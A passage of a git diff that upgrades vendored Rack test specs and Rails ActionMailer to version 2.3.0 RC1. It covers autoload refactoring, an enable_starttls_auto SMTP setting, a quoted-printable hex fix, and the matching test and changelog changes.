test_app1.context(test_target5){} }.should.raise + end + + specify "should set context correctly" do + c1 = Rack::Utils::Context.new(test_app1, test_target1){} + c1.for.should.equal test_app1 + c1.app.should.equal test_target1 + c2 = Rack::Utils::Context.new(test_app1, test_target2){} + c2.for.should.equal test_app1 + c2.app.should.equal test_target2 + c3 = Rack::Utils::Context.new(test_app2, test_target3){} + c3.for.should.equal test_app2 + c3.app.should.equal test_target3 + c4 = Rack::Utils::Context.new(test_app2, test_target4){} + c4.for.should.equal test_app2 + c4.app.should.equal test_target4 + end + + specify "should alter app on recontexting" do + c1 = Rack::Utils::Context.new(test_app1, test_target1){} + c1.for.should.equal test_app1 + c1.app.should.equal test_target1 + c2 = c1.context(test_target2) + c2.for.should.equal test_app1 + c2.app.should.not.equal test_target1 + c2.app.should.equal test_target2 + c3 = c2.context(test_target3) + c3.for.should.equal test_app1 + c3.app.should.not.equal test_target2 + c3.app.should.equal test_target3 + c4 = c3.context(test_target4) + c4.for.should.equal test_app1 + c4.app.should.not.equal test_target3 + c4.app.should.equal test_target4 + end + + specify "should run different apps" do + c1 = test_app1.context(test_target1) + c2 = c1.context test_target2 + c3 = c2.context test_target3 + c4 = c3.context test_target4 + a4 = Rack::Lint.new c4 + r1 = c1.call('hello') + r1.should.equal 'hello world' + r2 = c2.call(2) + r2.should.equal 4 + r3 = c3.call(:misc_symbol) + r3.should.be.nil + r4 = Rack::MockRequest.new(a4).get('/') + r4.status.should.be 200 + end +end diff --git a/vendor/plugins/rack/test/spec_rack_webrick.rb b/vendor/plugins/rack/test/spec_rack_webrick.rb new file mode 100644 index 00000000..32b418e3 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_webrick.rb @@ -0,0 +1,123 @@ +require 'test/spec' + +require 'rack/handler/webrick' +require 'rack/lint' +require 'rack/response' +require 'testrequest' + +Thread.abort_on_exception = true + +context "Rack::Handler::WEBrick" do + include TestRequest::Helpers + + setup do + @server = WEBrick::HTTPServer.new(:Host => @host='0.0.0.0', + :Port => @port=9202, + :Logger => WEBrick::Log.new(nil, WEBrick::BasicLog::WARN), + :AccessLog => []) + @server.mount "/test", Rack::Handler::WEBrick, + Rack::Lint.new(TestRequest.new) + Thread.new { @server.start } + trap(:INT) { @server.shutdown } + end + + specify "should respond" do + lambda { + GET("/test") + }.should.not.raise + end + + specify "should be a WEBrick" do + GET("/test") + status.should.be 200 + response["SERVER_SOFTWARE"].should =~ /WEBrick/ + response["HTTP_VERSION"].should.equal "HTTP/1.1" + response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" + response["SERVER_PORT"].should.equal "9202" + response["SERVER_NAME"].should.equal "0.0.0.0" + end + + specify "should have rack headers" do + GET("/test") + response["rack.version"].should.equal [0,1] + response["rack.multithread"].should.be true + response["rack.multiprocess"].should.be false + response["rack.run_once"].should.be false + end + + specify "should have CGI headers on GET" do + GET("/test") + response["REQUEST_METHOD"].should.equal "GET" + response["SCRIPT_NAME"].should.equal "/test" + response["REQUEST_PATH"].should.equal "/" + response["PATH_INFO"].should.be.nil + response["QUERY_STRING"].should.equal "" + response["test.postdata"].should.equal "" + + GET("/test/foo?quux=1") + response["REQUEST_METHOD"].should.equal "GET" + response["SCRIPT_NAME"].should.equal "/test" + response["REQUEST_PATH"].should.equal "/" + response["PATH_INFO"].should.equal "/foo" + response["QUERY_STRING"].should.equal "quux=1" + end + + specify "should have CGI headers on POST" do + POST("/test", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) + status.should.equal 200 + response["REQUEST_METHOD"].should.equal "POST" + response["SCRIPT_NAME"].should.equal "/test" + response["REQUEST_PATH"].should.equal "/" + response["QUERY_STRING"].should.equal "" + response["HTTP_X_TEST_HEADER"].should.equal "42" + response["test.postdata"].should.equal "rack-form-data=23" + end + + specify "should support HTTP auth" do + GET("/test", {:user => "ruth", :passwd => "secret"}) + response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" + end + + specify "should set status" do + GET("/test?secret") + status.should.equal 403 + response["rack.url_scheme"].should.equal "http" + end + + specify "should correctly set cookies" do + @server.mount "/cookie-test", Rack::Handler::WEBrick, + Rack::Lint.new(lambda { |req| + res = Rack::Response.new + res.set_cookie "one", "1" + res.set_cookie "two", "2" + res.finish + }) + + Net::HTTP.start(@host, @port) { |http| + res = http.get("/cookie-test") + res.code.to_i.should.equal 200 + res.get_fields("set-cookie").should.equal ["one=1", "two=2"] + } + end + + specify "should provide a .run" do + block_ran = false + catch(:done) { + Rack::Handler::WEBrick.run(lambda {}, + {:Port => 9210, + :Logger => WEBrick::Log.new(nil, WEBrick::BasicLog::WARN), + :AccessLog => []}) { |server| + block_ran = true + server.should.be.kind_of WEBrick::HTTPServer + @s = server + throw :done + } + } + block_ran.should.be true + @s.shutdown + end + + teardown do + @server.shutdown + end +end diff --git a/vendor/plugins/rack/test/testrequest.rb b/vendor/plugins/rack/test/testrequest.rb new file mode 100644 index 00000000..7b7190cb --- /dev/null +++ b/vendor/plugins/rack/test/testrequest.rb @@ -0,0 +1,57 @@ +require 'yaml' +require 'net/http' + +class TestRequest + def call(env) + status = env["QUERY_STRING"] =~ /secret/ ? 403 : 200 + env["test.postdata"] = env["rack.input"].read + body = env.to_yaml + size = body.respond_to?(:bytesize) ? body.bytesize : body.size + [status, {"Content-Type" => "text/yaml", "Content-Length" => size.to_s}, [body]] + end + + module Helpers + attr_reader :status, :response + + def GET(path, header={}) + Net::HTTP.start(@host, @port) { |http| + user = header.delete(:user) + passwd = header.delete(:passwd) + + get = Net::HTTP::Get.new(path, header) + get.basic_auth user, passwd if user && passwd + http.request(get) { |response| + @status = response.code.to_i + @response = YAML.load(response.body) + } + } + end + + def POST(path, formdata={}, header={}) + Net::HTTP.start(@host, @port) { |http| + user = header.delete(:user) + passwd = header.delete(:passwd) + + post = Net::HTTP::Post.new(path, header) + post.form_data = formdata + post.basic_auth user, passwd if user && passwd + http.request(post) { |response| + @status = response.code.to_i + @response = YAML.load(response.body) + } + } + end + end +end + +class StreamingRequest + def self.call(env) + [200, {"Content-Type" => "text/plain"}, new] + end + + def each + yield "hello there!\n" + sleep 5 + yield "that is all.\n" + end +end diff --git a/vendor/rails/actionmailer/CHANGELOG b/vendor/rails/actionmailer/CHANGELOG index b6a01603..ecfa25b0 100644 --- a/vendor/rails/actionmailer/CHANGELOG +++ b/vendor/rails/actionmailer/CHANGELOG @@ -1,8 +1,18 @@ -*2.2 (November 21st, 2008)* +*2.3.0 [RC1] (February 1st, 2009)* + +* Fixed RFC-2045 quoted-printable bug #1421 [squadette] + +* Fixed that no body charset would be set when there are attachments present #740 [Paweł Kondzior] + + +*2.2.1 [RC2] (November 14th, 2008)* * Turn on STARTTLS if it is available in Net::SMTP (added in Ruby 1.8.7) and the SMTP server supports it (This is required for Gmail's SMTP server) #1336 [Grant Hollingworth] -* Add layout functionality to mailers [Pratik] + +*2.2.0 [RC1] (October 24th, 2008)* + +* Add layout functionality to mailers [Pratik Naik] Mailer layouts behaves just like controller layouts, except layout names need to have '_mailer' postfix for them to be automatically picked up. @@ -14,7 +24,7 @@ * Less verbose mail logging: just recipients for :info log level; the whole email for :debug only. #8000 [iaddict, Tarmo Tänav] -* Updated TMail to version 1.2.1 [raasdnil] +* Updated TMail to version 1.2.1 [Mikel Lindsaar] * Fixed that you don't have to call super in ActionMailer::TestCase#setup #10406 [jamesgolick] @@ -26,7 +36,7 @@ *2.0.1* (December 7th, 2007) -* Update ActionMailer so it treats ActionView the same way that ActionController does. Closes #10244 [rick] +* Update ActionMailer so it treats ActionView the same way that ActionController does. Closes #10244 [Rick Olson] * Pass the template_root as an array as ActionView's view_path * Request templates with the "#{mailer_name}/#{action}" as opposed to just "#{action}" @@ -35,11 +45,11 @@ * Update README to use new smtp settings configuration API. Closes #10060 [psq] -* Allow ActionMailer subclasses to individually set their delivery method (so two subclasses can have different delivery methods) #10033 [zdennis] +* Allow ActionMailer subclasses to individually set their delivery method (so two subclasses can have different delivery methods) #10033 [Zach Dennis] -* Update TMail to v1.1.0. Use an updated version of TMail if available. [mikel] +* Update TMail to v1.1.0. Use an updated version of TMail if available. [Mikel Lindsaar] -* Introduce a new base test class for testing Mailers. ActionMailer::TestCase [Koz] +* Introduce a new base test class for testing Mailers. ActionMailer::TestCase [Michael Koziarski] * Fix silent failure of rxml templates. #9879 [jstewart] @@ -74,7 +84,7 @@ *1.3.2* (February 5th, 2007) -* Deprecate server_settings renaming it to smtp_settings, add sendmail_settings to allow you to override the arguments to and location of the sendmail executable. [Koz] +* Deprecate server_settings renaming it to smtp_settings, add sendmail_settings to allow you to override the arguments to and location of the sendmail executable. [Michael Koziarski] *1.3.1* (January 16th, 2007) @@ -94,7 +104,7 @@ * Tighten rescue clauses. #5985 [james@grayproductions.net] -* Automatically included ActionController::UrlWriter, such that URL generation can happen within ActionMailer controllers. [DHH] +* Automatically included ActionController::UrlWriter, such that URL generation can happen within ActionMailer controllers. [David Heinemeier Hansson] * Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar] diff --git a/vendor/rails/actionmailer/MIT-LICENSE b/vendor/rails/actionmailer/MIT-LICENSE index 13c90d46..e7accc5e 100644 --- a/vendor/rails/actionmailer/MIT-LICENSE +++ b/vendor/rails/actionmailer/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2004-2008 David Heinemeier Hansson +Copyright (c) 2004-2009 David Heinemeier Hansson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the diff --git a/vendor/rails/actionmailer/Rakefile b/vendor/rails/actionmailer/Rakefile index 572766ea..c3826e3a 100644 --- a/vendor/rails/actionmailer/Rakefile +++ b/vendor/rails/actionmailer/Rakefile @@ -55,7 +55,7 @@ spec = Gem::Specification.new do |s| s.rubyforge_project = "actionmailer" s.homepage = "http://www.rubyonrails.org" - s.add_dependency('actionpack', '= 2.2.2' + PKG_BUILD) + s.add_dependency('actionpack', '= 2.3.0' + PKG_BUILD) s.has_rdoc = true s.requirements << 'none' diff --git a/vendor/rails/actionmailer/lib/action_mailer.rb b/vendor/rails/actionmailer/lib/action_mailer.rb index 2a9210de..45fcab59 100644 --- a/vendor/rails/actionmailer/lib/action_mailer.rb +++ b/vendor/rails/actionmailer/lib/action_mailer.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2008 David Heinemeier Hansson +# Copyright (c) 2004-2009 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the @@ -31,22 +31,31 @@ rescue LoadError end end -require 'action_mailer/vendor' -require 'tmail' +require 'action_view' -require 'action_mailer/base' -require 'action_mailer/helpers' -require 'action_mailer/mail_helper' -require 'action_mailer/quoting' -require 'action_mailer/test_helper' +module ActionMailer + def self.load_all! + [Base, Part, ::Text::Format, ::Net::SMTP] + end -require 'net/smtp' - -ActionMailer::Base.class_eval do - include ActionMailer::Quoting - include ActionMailer::Helpers - - helper MailHelper + autoload :AdvAttrAccessor, 'action_mailer/adv_attr_accessor' + autoload :Base, 'action_mailer/base' + autoload :Helpers, 'action_mailer/helpers' + autoload :Part, 'action_mailer/part' + autoload :PartContainer, 'action_mailer/part_container' + autoload :Quoting, 'action_mailer/quoting' + autoload :TestCase, 'action_mailer/test_case' + autoload :TestHelper, 'action_mailer/test_helper' + autoload :Utils, 'action_mailer/utils' end -silence_warnings { TMail::Encoder.const_set("MAX_LINE_LEN", 200) } +module Text + autoload :Format, 'action_mailer/vendor/text_format' +end + +module Net + autoload :SMTP, 'net/smtp' +end + +autoload :MailHelper, 'action_mailer/mail_helper' +autoload :TMail, 'action_mailer/vendor/tmail' diff --git a/vendor/rails/actionmailer/lib/action_mailer/base.rb b/vendor/rails/actionmailer/lib/action_mailer/base.rb index e41c88d8..eda5de4e 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/base.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/base.rb @@ -1,9 +1,3 @@ -require 'action_mailer/adv_attr_accessor' -require 'action_mailer/part' -require 'action_mailer/part_container' -require 'action_mailer/utils' -require 'tmail/net' - module ActionMailer #:nodoc: # Action Mailer allows you to send email from your application using a mailer model and views. # @@ -23,6 +17,7 @@ module ActionMailer #:nodoc: # class Notifier < ActionMailer::Base # def signup_notification(recipient) # recipients recipient.email_address_with_name + # bcc ["bcc@example.com", "Order Watcher "] # from "system@example.com" # subject "New account information" # body :account => recipient @@ -218,6 +213,8 @@ module ActionMailer #:nodoc: # * :password - If your mail server requires authentication, set the password in this setting. # * :authentication - If your mail server requires authentication, you need to specify the authentication type here. # This is a symbol and one of :plain, :login, :cram_md5. + # * :enable_starttls_auto - When set to true, detects if STARTTLS is enabled in your SMTP server and starts to use it. + # It works only on Ruby >= 1.8.7 and Ruby >= 1.9. Default is true. # # * sendmail_settings - Allows you to override options for the :sendmail delivery method. # * :location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail. @@ -235,17 +232,20 @@ module ActionMailer #:nodoc: # # * default_charset - The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also # pick a different charset from inside a method with +charset+. + # # * default_content_type - The default content type used for the main part of the message. Defaults to "text/plain". You # can also pick a different content type from inside a method with +content_type+. + # # * default_mime_version - The default mime version used for the message. Defaults to 1.0. You # can also pick a different value from inside a method with +mime_version+. + # # * default_implicit_parts_order - When a message is built implicitly (i.e. multiple parts are assembled from templates # which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to # ["text/html", "text/enriched", "text/plain"]. Items that appear first in the array have higher priority in the mail client # and appear last in the mime encoded message. You can also pick a different order from inside a method with # +implicit_parts_order+. class Base - include AdvAttrAccessor, PartContainer + include AdvAttrAccessor, PartContainer, Quoting, Utils if Object.const_defined?(:ActionController) include ActionController::UrlWriter include ActionController::Layout @@ -257,12 +257,13 @@ module ActionMailer #:nodoc: cattr_accessor :logger @@smtp_settings = { - :address => "localhost", - :port => 25, - :domain => 'localhost.localdomain', - :user_name => nil, - :password => nil, - :authentication => nil + :address => "localhost", + :port => 25, + :domain => 'localhost.localdomain', + :user_name => nil, + :password => nil, + :authentication => nil, + :enable_starttls_auto => true, } cattr_accessor :smtp_settings @@ -426,12 +427,6 @@ module ActionMailer #:nodoc: new.deliver!(mail) end - def register_template_extension(extension) - ActiveSupport::Deprecation.warn( - "ActionMailer::Base.register_template_extension has been deprecated." + - "Use ActionView::Base.register_template_extension instead", caller) - end - def template_root self.view_paths && self.view_paths.first end @@ -581,7 +576,9 @@ module ActionMailer #:nodoc: end def candidate_for_layout?(options) - !@template.send(:_exempt_from_layout?, default_template_name) + !self.view_paths.find_template(default_template_name, default_template_format).exempt_from_layout? + rescue ActionView::MissingTemplate + return true end def template_root @@ -648,11 +645,11 @@ module ActionMailer #:nodoc: if @parts.empty? m.set_content_type(real_content_type, nil, ctype_attrs) - m.body = Utils.normalize_new_lines(body) + m.body = normalize_new_lines(body) else if String === body part = TMail::Mail.new - part.body = Utils.normalize_new_lines(body) + part.body = normalize_new_lines(body) part.set_content_type(real_content_type, nil, ctype_attrs) part.set_content_disposition "inline" m.parts << part @@ -678,7 +675,7 @@ module ActionMailer #:nodoc: sender = mail['return-path'] || mail.from smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port]) - smtp.enable_starttls_auto if smtp.respond_to?(:enable_starttls_auto) + smtp.enable_starttls_auto if smtp_settings[:enable_starttls_auto] && smtp.respond_to?(:enable_starttls_auto) smtp.start(smtp_settings[:domain], smtp_settings[:user_name], smtp_settings[:password], smtp_settings[:authentication]) do |smtp| smtp.sendmail(mail.encoded, sender, destinations) @@ -698,4 +695,9 @@ module ActionMailer #:nodoc: deliveries << mail end end + + Base.class_eval do + include Helpers + helper MailHelper + end end diff --git a/vendor/rails/actionmailer/lib/action_mailer/helpers.rb b/vendor/rails/actionmailer/lib/action_mailer/helpers.rb index 5f6dcd77..31f7de8d 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/helpers.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/helpers.rb @@ -1,3 +1,5 @@ +require 'active_support/dependencies' + module ActionMailer module Helpers #:nodoc: def self.included(base) #:nodoc: diff --git a/vendor/rails/actionmailer/lib/action_mailer/mail_helper.rb b/vendor/rails/actionmailer/lib/action_mailer/mail_helper.rb index 11fd7d77..351b966a 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/mail_helper.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/mail_helper.rb @@ -1,5 +1,3 @@ -require 'text/format' - module MailHelper # Uses Text::Format to take the text and format it, indented two spaces for # each line, and wrapped at 72 columns. diff --git a/vendor/rails/actionmailer/lib/action_mailer/part.rb b/vendor/rails/actionmailer/lib/action_mailer/part.rb index 2dabf15f..977c0b2b 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/part.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/part.rb @@ -1,15 +1,10 @@ -require 'action_mailer/adv_attr_accessor' -require 'action_mailer/part_container' -require 'action_mailer/utils' - module ActionMailer # Represents a subpart of an email message. It shares many similar # attributes of ActionMailer::Base. Although you can create parts manually # and add them to the +parts+ list of the mailer, it is easier # to use the helper methods in ActionMailer::PartContainer. class Part - include ActionMailer::AdvAttrAccessor - include ActionMailer::PartContainer + include AdvAttrAccessor, PartContainer, Utils # Represents the body of the part, as a string. This should not be a # Hash (like ActionMailer::Base), but if you want a template to be rendered @@ -64,7 +59,7 @@ module ActionMailer when "base64" then part.body = TMail::Base64.folding_encode(body) when "quoted-printable" - part.body = [Utils.normalize_new_lines(body)].pack("M*") + part.body = [normalize_new_lines(body)].pack("M*") else part.body = body end @@ -102,7 +97,6 @@ module ActionMailer end private - def squish(values={}) values.delete_if { |k,v| v.nil? } end diff --git a/vendor/rails/actionmailer/lib/action_mailer/part_container.rb b/vendor/rails/actionmailer/lib/action_mailer/part_container.rb index 3e3d6b9d..abfd8f84 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/part_container.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/part_container.rb @@ -41,7 +41,11 @@ module ActionMailer private def parse_content_type(defaults=nil) - return [defaults && defaults.content_type, {}] if content_type.blank? + if content_type.blank? + return defaults ? + [ defaults.content_type, { 'charset' => defaults.charset } ] : + [ nil, {} ] + end ctype, *attrs = content_type.split(/;\s*/) attrs = attrs.inject({}) { |h,s| k,v = s.split(/=/, 2); h[k] = v; h } [ctype, {"charset" => charset || defaults && defaults.charset}.merge(attrs)] diff --git a/vendor/rails/actionmailer/lib/action_mailer/quoting.rb b/vendor/rails/actionmailer/lib/action_mailer/quoting.rb index a2f2c707..94fa0420 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/quoting.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/quoting.rb @@ -12,7 +12,7 @@ module ActionMailer # account multi-byte characters (if executing with $KCODE="u", for instance) def quoted_printable_encode(character) result = "" - character.each_byte { |b| result << "=%02x" % b } + character.each_byte { |b| result << "=%02X" % b } result end diff --git a/vendor/rails/actionmailer/lib/action_mailer/test_case.rb b/vendor/rails/actionmailer/lib/action_mailer/test_case.rb index d474afe3..8035db6f 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/test_case.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/test_case.rb @@ -10,7 +10,7 @@ module ActionMailer end class TestCase < ActiveSupport::TestCase - include ActionMailer::Quoting + include Quoting, TestHelper setup :initialize_test_deliveries setup :set_expected_mail diff --git a/vendor/rails/actionmailer/lib/action_mailer/test_helper.rb b/vendor/rails/actionmailer/lib/action_mailer/test_helper.rb index 3a161244..f234c024 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/test_helper.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/test_helper.rb @@ -58,6 +58,7 @@ module ActionMailer end end +# TODO: Deprecate this module Test module Unit class TestCase diff --git a/vendor/rails/actionmailer/lib/action_mailer/utils.rb b/vendor/rails/actionmailer/lib/action_mailer/utils.rb index 552f695a..26d2e60a 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/utils.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/utils.rb @@ -3,6 +3,5 @@ module ActionMailer def normalize_new_lines(text) text.to_s.gsub(/\r\n?/, "\n") end - module_function :normalize_new_lines end end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor.rb deleted file mode 100644 index 7a20e9bd..00000000 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor.rb +++ /dev/null @@ -1,14 +0,0 @@ -# Prefer gems to the bundled libs. -require 'rubygems' - -begin - gem 'tmail', '~> 1.2.3' -rescue Gem::LoadError - $:.unshift "#{File.dirname(__FILE__)}/vendor/tmail-1.2.3" -end - -begin - gem 'text-format', '>= 0.6.3' -rescue Gem::LoadError - $:.unshift "#{File.dirname(__FILE__)}/vendor/text-format-0.6.3" -end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/text_format.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/text_format.rb new file mode 100644 index 00000000..c6c8c394 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/text_format.rb @@ -0,0 +1,10 @@ +# Prefer gems to the bundled libs. +require 'rubygems' + +begin + gem 'text-format', '>= 0.6.3' +rescue Gem::LoadError + $:.unshift "#{File.dirname(__FILE__)}/text-format-0.6.3" +end + +require 'text/format' diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb new file mode 100644 index 00000000..51d36cdd --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb @@ -0,0 +1,17 @@ +# Prefer gems to the bundled libs. +require 'rubygems' + +begin + gem 'tmail', '~> 1.2.3' +rescue Gem::LoadError + $:.unshift "#{File.dirname(__FILE__)}/tmail-1.2.3" +end + +module TMail +end + +require 'tmail' + +silence_warnings do + TMail::Encoder.const_set("MAX_LINE_LEN", 200) +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/version.rb b/vendor/rails/actionmailer/lib/action_mailer/version.rb index 52659515..9cd7a14b 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/version.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/version.rb @@ -1,8 +1,8 @@ module ActionMailer module VERSION #:nodoc: MAJOR = 2 - MINOR = 2 - TINY = 2 + MINOR = 3 + TINY = 0 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/vendor/rails/actionmailer/test/abstract_unit.rb b/vendor/rails/actionmailer/test/abstract_unit.rb index 1617b88c..a6126d6f 100644 --- a/vendor/rails/actionmailer/test/abstract_unit.rb +++ b/vendor/rails/actionmailer/test/abstract_unit.rb @@ -9,8 +9,14 @@ require 'action_mailer/test_case' # Show backtraces for deprecated behavior for quicker cleanup. ActiveSupport::Deprecation.debug = true +# Bogus template processors +ActionView::Template.register_template_handler :haml, lambda { |template| "Look its HAML!".inspect } +ActionView::Template.register_template_handler :bak, lambda { |template| "Lame backup".inspect } + $:.unshift "#{File.dirname(__FILE__)}/fixtures/helpers" -ActionMailer::Base.template_root = "#{File.dirname(__FILE__)}/fixtures" + +FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures') +ActionMailer::Base.template_root = FIXTURE_LOAD_PATH class MockSMTP def self.deliveries diff --git a/vendor/rails/actionmailer/test/asset_host_test.rb b/vendor/rails/actionmailer/test/asset_host_test.rb new file mode 100644 index 00000000..1c92dd26 --- /dev/null +++ b/vendor/rails/actionmailer/test/asset_host_test.rb @@ -0,0 +1,54 @@ +require 'abstract_unit' + +class AssetHostMailer < ActionMailer::Base + def email_with_asset(recipient) + recipients recipient + subject "testing email containing asset path while asset_host is set" + from "tester@example.com" + end +end + +class AssetHostTest < Test::Unit::TestCase + def setup + set_delivery_method :test + ActionMailer::Base.perform_deliveries = true + ActionMailer::Base.deliveries = [] + + @recipient = 'test@localhost' + end + + def teardown + restore_delivery_method + end + + def test_asset_host_as_string + ActionController::Base.asset_host = "http://www.example.com" + mail = AssetHostMailer.deliver_email_with_asset(@recipient) + assert_equal "\"Somelogo\"", mail.body.strip + end + + def test_asset_host_as_one_arguement_proc + ActionController::Base.asset_host = Proc.new { |source| + if source.starts_with?('/images') + "http://images.example.com" + else + "http://assets.example.com" + end + } + mail = AssetHostMailer.deliver_email_with_asset(@recipient) + assert_equal "\"Somelogo\"", mail.body.strip + end + + def test_asset_host_as_two_arguement_proc + ActionController::Base.asset_host = Proc.new {|source,request| + if request && request.ssl? + "https://www.example.com" + else + "http://www.example.com" + end + } + mail = nil + assert_nothing_raised { mail = AssetHostMailer.deliver_email_with_asset(@recipient) } + assert_equal "\"Somelogo\"", mail.body.strip + end +end \ No newline at end of file diff --git a/vendor/rails/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb b/vendor/rails/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb new file mode 100644 index 00000000..b3f0438d --- /dev/null +++ b/vendor/rails/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb @@ -0,0 +1 @@ +<%= image_tag "somelogo.png" %> \ No newline at end of file diff --git a/vendor/rails/actionmailer/test/mail_service_test.rb b/vendor/rails/actionmailer/test/mail_service_test.rb index b88beb33..a886b114 100644 --- a/vendor/rails/actionmailer/test/mail_service_test.rb +++ b/vendor/rails/actionmailer/test/mail_service_test.rb @@ -389,6 +389,8 @@ class ActionMailerTest < Test::Unit::TestCase end def test_custom_templating_extension + assert ActionView::Template.template_handler_extensions.include?("haml"), "haml extension was not registered" + # N.b., custom_templating_extension.text.plain.haml is expected to be in fixtures/test_mailer directory expected = new_mail expected.to = @recipient @@ -799,6 +801,8 @@ EOF end def test_implicitly_multipart_messages + assert ActionView::Template.template_handler_extensions.include?("bak"), "bak extension was not registered" + mail = TestMailer.create_implicitly_multipart_example(@recipient) assert_equal 3, mail.parts.length assert_equal "1.0", mail.mime_version @@ -812,6 +816,8 @@ EOF end def test_implicitly_multipart_messages_with_custom_order + assert ActionView::Template.template_handler_extensions.include?("bak"), "bak extension was not registered" + mail = TestMailer.create_implicitly_multipart_example(@recipient, nil, ["text/yaml", "text/plain"]) assert_equal 3, mail.parts.length assert_equal "text/html", mail.parts[0].content_type @@ -915,6 +921,8 @@ EOF def test_multipart_with_template_path_with_dots mail = FunkyPathMailer.create_multipart_with_template_path_with_dots(@recipient) assert_equal 2, mail.parts.length + assert_equal 'text/plain', mail.parts[0].content_type + assert_equal 'utf-8', mail.parts[0].charset end def test_custom_content_type_attributes @@ -940,6 +948,7 @@ EOF end def test_starttls_is_enabled_if_supported + ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(true) MockSMTP.any_instance.expects(:enable_starttls_auto) ActionMailer::Base.delivery_method = :smtp @@ -947,11 +956,22 @@ EOF end def test_starttls_is_disabled_if_not_supported + ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(false) MockSMTP.any_instance.expects(:enable_starttls_auto).never ActionMailer::Base.delivery_method = :smtp TestMailer.deliver_signed_up(@recipient) end + + def test_starttls_is_not_enabled + ActionMailer::Base.smtp_settings[:enable_starttls_auto] = false + MockSMTP.any_instance.expects(:respond_to?).never + MockSMTP.any_instance.expects(:enable_starttls_auto).never + ActionMailer::Base.delivery_method = :smtp + TestMailer.deliver_signed_up(@recipient) + ensure + ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true + end end end # uses_mocha @@ -959,13 +979,13 @@ end # uses_mocha class InheritableTemplateRootTest < Test::Unit::TestCase def test_attr expected = "#{File.dirname(__FILE__)}/fixtures/path.with.dots" - assert_equal expected, FunkyPathMailer.template_root + assert_equal expected, FunkyPathMailer.template_root.to_s sub = Class.new(FunkyPathMailer) sub.template_root = 'test/path' - assert_equal 'test/path', sub.template_root - assert_equal expected, FunkyPathMailer.template_root + assert_equal 'test/path', sub.template_root.to_s + assert_equal expected, FunkyPathMailer.template_root.to_s end end diff --git a/vendor/rails/actionmailer/test/quoting_test.rb b/vendor/rails/actionmailer/test/quoting_test.rb index 13a859a5..2fee1379 100644 --- a/vendor/rails/actionmailer/test/quoting_test.rb +++ b/vendor/rails/actionmailer/test/quoting_test.rb @@ -1,6 +1,5 @@ # encoding: utf-8 require 'abstract_unit' -require 'tmail' require 'tempfile' class QuotingTest < Test::Unit::TestCase @@ -49,8 +48,10 @@ class QuotingTest < Test::Unit::TestCase result = execute_in_sandbox(<<-CODE) $:.unshift(File.dirname(__FILE__) + "/../lib/") - $KCODE = 'u' - require 'jcode' + if RUBY_VERSION < '1.9' + $KCODE = 'u' + require 'jcode' + end require 'action_mailer/quoting' include ActionMailer::Quoting quoted_printable(#{original.inspect}, "UTF-8") diff --git a/vendor/rails/actionmailer/test/test_helper_test.rb b/vendor/rails/actionmailer/test/test_helper_test.rb index f8913e54..9d22bb26 100644 --- a/vendor/rails/actionmailer/test/test_helper_test.rb +++ b/vendor/rails/actionmailer/test/test_helper_test.rb @@ -36,7 +36,7 @@ class TestHelperMailerTest < ActionMailer::TestCase end def test_encode - assert_equal "=?utf-8?Q?=0aasdf=0a?=", encode("\nasdf\n") + assert_equal "=?utf-8?Q?=0Aasdf=0A?=", encode("\nasdf\n") end def test_assert_emails @@ -84,7 +84,7 @@ class TestHelperMailerTest < ActionMailer::TestCase end def test_assert_emails_too_few_sent - error = assert_raises Test::Unit::AssertionFailedError do + error = assert_raises ActiveSupport::TestCase::Assertion do assert_emails 2 do TestHelperMailer.deliver_test end @@ -94,7 +94,7 @@ class TestHelperMailerTest < ActionMailer::TestCase end def 